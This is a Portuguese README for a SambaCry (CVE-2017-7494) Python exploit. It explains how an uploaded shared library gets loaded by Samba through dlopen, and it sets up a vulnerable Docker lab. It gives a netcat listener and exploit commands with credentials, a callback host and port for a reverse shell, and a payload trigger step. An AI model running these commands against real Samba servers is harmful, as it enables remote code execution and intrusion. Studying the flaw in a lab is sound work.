
Exploit em Python para CVE-2017-7494 (SambaCry) que demonstra execução remota de código autenticada ao enviar uma biblioteca compartilhada maliciosa para um compartilhamento Samba e acionar o seu carregamento via dlopen.
CVE-2017-7494/SambaCry permite que usuários autenticados enviem uma biblioteca compartilhada para uma pasta gravável e realizem ataques de execução usando as bibliotecas enviadas.
SambaCry é uma vulnerabilidade de validação de caminho na forma como o Samba lida com solicitações de named-pipe. Normalmente, esses pipes são usados para permitir que programas se comuniquem entre si lendo e gravando dados por meio de um canal semelhante a um arquivo.
Quando o Samba recebe um nome de pipe desconhecido, versões vulneráveis podem tratá-lo como o nome de um módulo carregável dinamicamente.
Esses módulos geralmente são bibliotecas .so legítimas instaladas pelo administrador.
A vulnerabilidade permite que um cliente forneça um caminho absoluto do sistema de arquivos em vez de um nome normal de módulo ou pipe. O Samba não restringe adequadamente esse caminho e pode efetivamente executar: dlopen("/data/example.so", ...);.
Carregar uma biblioteca compartilhada executa seu código de inicialização. Portanto, um atacante que consiga enviar um arquivo .so malicioso para um local gravável pode fazer o serviço Samba carregá-lo, resultando em execução remota de código.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
Para acionar um payload já enviado:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
Usando o docker-compose.yml pré-configurado para inicializar o laboratório vulnerável.
docker compose up -d
O laboratório usa o Samba 4.5.9, que é vulnerável a essa vulnerabilidade.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3